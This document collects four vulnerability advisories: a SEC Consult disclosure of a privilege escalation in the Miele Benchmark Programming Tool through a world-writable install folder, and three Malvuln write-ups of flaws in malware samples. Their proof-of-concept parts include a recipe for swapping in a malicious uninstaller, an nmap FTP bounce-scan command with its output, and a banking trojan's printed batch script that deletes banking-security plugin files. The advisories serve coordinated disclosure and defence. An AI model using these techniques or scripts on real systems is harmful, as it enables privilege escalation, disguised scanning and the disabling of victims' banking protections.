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<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220427-0 > ======================================================================= title: Privilege Escalation product: Miele Benchmark Programming Tool vulnerable version: at least 1.1.49 and 1.2.71 fixed version: 1.2.72 CVE number: CVE-2022-22521 impact: Medium homepage: https://www.miele.com/ found: 2022-01-24 by: J. Kruchem (Office Vienna) W. Schober (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "There are many good reasons for choosing Miele. Since the company's founding in 1899, Miele has remained true to its "Immer Besser" brand promise. This means that we will do all that we can to be "Immer Besser" (forever better) than our competitors and "Immer Besser" (forever better) than we already are. For our customers, this means the peace of mind of knowing that choosing Miele is a good decision – and probably the decision of a lifetime." Source: https://www.mieleusa.com/c/about-us-9.htm Business recommendation: ------------------------ The vendor provides a patched version which should be installed immediately. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1) Privilege Escalation (CVE-2022-22521) The path where the Miele Benchmark Programming Tool is installed is writable for any user on the Windows operation system. This allows replacing the Uninstall binary and thus an attacker gaining local admin privileges if uninstalled. Proof of concept: ----------------- 1) Privilege Escalation (CVE-2022-22521) The Uninstall string can be found in the following registry entry: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{<UUID of Miele Benchmark Programming>} The UninstallString field has the following value: UninstallString "C:\MIELE_SERVICE\Miele Benchmark Programming Tool\Uninstall Miele Benchmark Programming Tool.exe" /allusers For exploitation, replace the "Uninstall Miele Benchmark Programming Tool.exe" with a malicious binary and uninstall via Software Center or call the admin and let them uninstall the Miele Benchmark Programming Tool. Vulnerable / tested versions: ----------------------------- The following versions have been tested, which were the latest versions available during the time of the test: * 1.1.49 * 1.2.71 Other (lower) software versions may be affected as well. Vendor contact timeline: ------------------------ 2022-03-21: Contacting vendor through psirt@miele.com 2022-03-22: Vendor answered that they will check the provided information 2022-04-07: Vendor confirmed the vulnerability and answered with aim to fix it asap 2022-04-11: Vendor sent their advisory (including CVE) and fixed version 2022-04-27: Coordinated release of advisory. Solution: --------- The vendor provides a patched version v1.2.72 which can be downloaded here: https://www.miele.com/en/com/downloads-6770.htm Workaround: ----------- Adapt permissions of the C:\MIELE_SERVICE directory according to the least privilege principle. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF J. Kruchem / @2022 </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/fb3ac3c9d808de7f4b5ede68715f658f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Downloader.Win32.Agent Vulnerability: Insecure Permissions Description: The malware writes a PE file to the "Windows\System" directory granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. Family: Agent Type: PE32 MD5: fb3ac3c9d808de7f4b5ede68715f658f Vuln ID: MVID-2022-0570 Dropped files: alg.exe Disclosure: 04/26/2022 Exploit/PoC: C:\>cacls \Windows\System\alg.exe C:\Windows\System\alg.exe BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>dir \Windows\System\alg.exe Volume in drive C has no label. Directory of C:\Windows\System 04/10/2022 01:18 AM 882,688 alg.exe 1 File(s) 882,688 bytes Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Cafeini.b Vulnerability: Port Bounce Scan Description: The malware runs an FTP server on TCP port 23. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Family: Cafeini Type: PE32 MD5: 851f8945d1b5923990f4722d627156a0 Vuln ID: MVID-2022-0569 Disclosure: 04/26/2022 Exploit/PoC: C:\>nmap -n -Pn -b test:test@192.168.18.125:23 -p21,22,80 192.168.18.237 -v Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-20 14:50 UTC-11 Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125). Attempting connection to ftp://test:test@192.168.18.125:23 Connected:220 CAFEiNi 1.1 FTP server Login credentials accepted by FTP server! Initiating Bounce Scan at 14:50 Removed 22 Changed my mind about port 22 Removed 21 Changed my mind about port 21 Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 14:50, 2.21s elapsed (3 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Banker.Win32.Banker.heq Vulnerability: Insecure Permissions Description: The malware writes a BAT script file with insecure permissions to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. Family: Banker Type: PE32 MD5: f15d05f74899324ecb61ee29ad162fad Vuln ID: MVID-2022-0561 Disclosure: 04/26/2022 Exploit/PoC: C:\>cacls autoexec.bat C:\autoexec.bat BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>dir autoexec.bat Volume in drive C has no label. Directory of C:\ 04/13/2022 02:27 AM 636 autoexec.bat 1 File(s) 636 bytes c:\>type autoexec.bat @echo off del c:\windows\downlo~1\ABN*.* del c:\windows\downlo~1\*ABN*.* del c:\windows\downlo~1\GBPDIST.DLL del c:\windows\downlo~1\scp*.* del c:\windows\downlo~1\gb*.* del c:\windows\downlo~1\*gb*.* del c:\windows\downlo~1\*UNI*.* del c:\windows\downlo~1\UNI*.*?? del c:\WINDOWS\system32\Logof.dll del c:\arquiv~1\GbPlugin\gb*.* del c:\arquiv~1\GbPlugin\g*.* del c:\windwos\system32\snengine.exe del c:\windwos\system32\snagos.exe del c:\arquiv~1\Scpad\*scp*.?? del c:\arquiv~1\Scpad\scp*.* del c:\windows\downlo~1\ATM*.* del c:\windows\downlo~1\*ATM*.* del c:\arquiv~1\Scpad\*ssh*.* del c:\arquiv~1\Scpad\*ssh*.? Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>